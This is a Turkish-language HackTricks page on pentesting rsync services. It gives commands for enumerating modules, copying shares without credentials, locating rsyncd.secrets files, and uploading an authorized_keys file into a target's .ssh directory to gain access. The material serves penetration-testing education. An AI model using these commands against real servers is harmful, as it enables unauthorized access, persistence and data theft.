mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
127 lines
7.4 KiB
Markdown
127 lines
7.4 KiB
Markdown
# 873 - Rsync Pentest
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||
|
||
</details>
|
||
|
||
## **Temel Bilgiler**
|
||
|
||
[wikipedia](https://en.wikipedia.org/wiki/Rsync)'dan alınan bilgilere göre:
|
||
|
||
> **rsync**, bir bilgisayar ile harici bir sabit disk arasında ve ağ üzerindeki bilgisayarlar arasında [dosya](https://en.wikipedia.org/wiki/Computer_file) [aktarma](https://en.wikipedia.org/wiki/File_transfer) ve [senkronizasyon](https://en.wikipedia.org/wiki/File_synchronization) işlemlerini verimli bir şekilde gerçekleştiren bir yardımcı programdır. Bu işlem, dosyaların [değiştirme zamanlarını](https://en.wikipedia.org/wiki/Timestamping_(computing)) ve boyutlarını karşılaştırarak yapılır.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Genellikle [Unix benzeri](https://en.wikipedia.org/wiki/Unix-like) [işletim sistemlerinde](https://en.wikipedia.org/wiki/Operating_system) bulunur. Rsync algoritması, bir tür [delta kodlama](https://en.wikipedia.org/wiki/Delta_encoding) kullanır ve ağ kullanımını en aza indirmek için kullanılır. Ek olarak [veri sıkıştırma](https://en.wikipedia.org/wiki/Data_compression) için [Zlib](https://en.wikipedia.org/wiki/Zlib) kullanılabilir,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) ve güvenlik için [SSH](https://en.wikipedia.org/wiki/Secure_Shell) veya [stunnel](https://en.wikipedia.org/wiki/Stunnel) kullanılabilir.
|
||
|
||
**Varsayılan port:** 873
|
||
```
|
||
PORT STATE SERVICE REASON
|
||
873/tcp open rsync syn-ack
|
||
```
|
||
## Numaralandırma
|
||
|
||
### Banner ve El ile İletişim
|
||
|
||
Rsync, bir ağ servisi olduğu için, hedef sistemde çalıştırıldığında bir banner döndürür. Bu banner, hedef sistem hakkında bazı bilgiler sağlayabilir. Rsync sunucusuna bağlanarak banner'ı alabilirsiniz:
|
||
|
||
```bash
|
||
$ nc <hedef_ip> 873
|
||
```
|
||
|
||
Banner'ı almak için `nc` (netcat) aracını kullanıyoruz. Banner, hedef sistemde çalışan Rsync sürümünü ve diğer bilgileri içerebilir.
|
||
|
||
Ayrıca, Rsync sunucusuyla el ile iletişim kurabilirsiniz. Rsync sunucusuna bağlanmak için `rsync` komutunu kullanabilirsiniz:
|
||
|
||
```bash
|
||
$ rsync <hedef_ip>::
|
||
```
|
||
|
||
Bu komut, sunucudaki mevcut modülleri listeler. Modüller, Rsync sunucusunda paylaşılan dizinlerdir. Bu dizinlere erişim sağlayarak verilere erişebilirsiniz.
|
||
```bash
|
||
nc -vn 127.0.0.1 873
|
||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
||
@RSYNCD: 31.0 <--- Then you send the same info
|
||
#list <--- Then you ask the sever to list
|
||
raidroot <--- The server starts enumerating
|
||
USBCopy
|
||
NAS_Public
|
||
_NAS_Recycle_TOSRAID <--- Enumeration finished
|
||
@RSYNCD: EXIT <--- Sever closes the connection
|
||
|
||
|
||
#Now lets try to enumerate "raidroot"
|
||
nc -vn 127.0.0.1 873
|
||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||
@RSYNCD: 31.0
|
||
@RSYNCD: 31.0
|
||
raidroot
|
||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||
```
|
||
### **Paylaşılan Klasörleri Sıralama**
|
||
|
||
**Rsync modülleri**, **şifrelerle korunmuş olabilecek** **dizin paylaşımları** olarak tanımlanır. Kullanılabilir modülleri belirlemek ve şifre gerekip gerekmediğini kontrol etmek için aşağıdaki komutlar kullanılır:
|
||
```bash
|
||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/rsync/modules_list
|
||
|
||
# Example with IPv6 and alternate port
|
||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||
```
|
||
Dikkatli olun, bazı paylaşımlar liste içinde görünmeyebilir ve gizlenebilir. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgilerine kısıtlı olabilir ve "Erişim Engellendi" mesajıyla belirtilir.
|
||
|
||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||
|
||
### Rsync Kullanımı
|
||
|
||
Bir **modül listesi** elde ettikten sonra, işlemler kimlik doğrulaması gerekip gerekmediğine bağlı olarak değişir. Kimlik doğrulaması olmadan, paylaşılan bir klasörden dosyaların **listelenmesi** ve **kopyalanması**, yerel bir dizine şu şekilde gerçekleştirilir:
|
||
```bash
|
||
# Listing a shared folder
|
||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||
|
||
# Copying files from a shared folder
|
||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||
```
|
||
Bu işlem, dosyaları özelliklerini ve izinlerini koruyarak **rekürsif olarak aktarır**.
|
||
|
||
**Kimlik bilgileri** ile paylaşılan bir klasörden listeleyip indirme işlemi aşağıdaki gibi yapılabilir, burada bir şifre isteme ekranı görünecektir:
|
||
```bash
|
||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||
```
|
||
İçerik yüklemek için, erişim için bir **authorized_keys** dosyası gibi, şunu kullanın:
|
||
```bash
|
||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||
```
|
||
## POST
|
||
|
||
Rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
|
||
```bash
|
||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||
```
|
||
Bu dosyada, bir _secrets dosyası_ parametresi rsyncd kimlik doğrulaması için kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir.
|
||
|
||
|
||
## Referanslar
|
||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||
|
||
</details>
|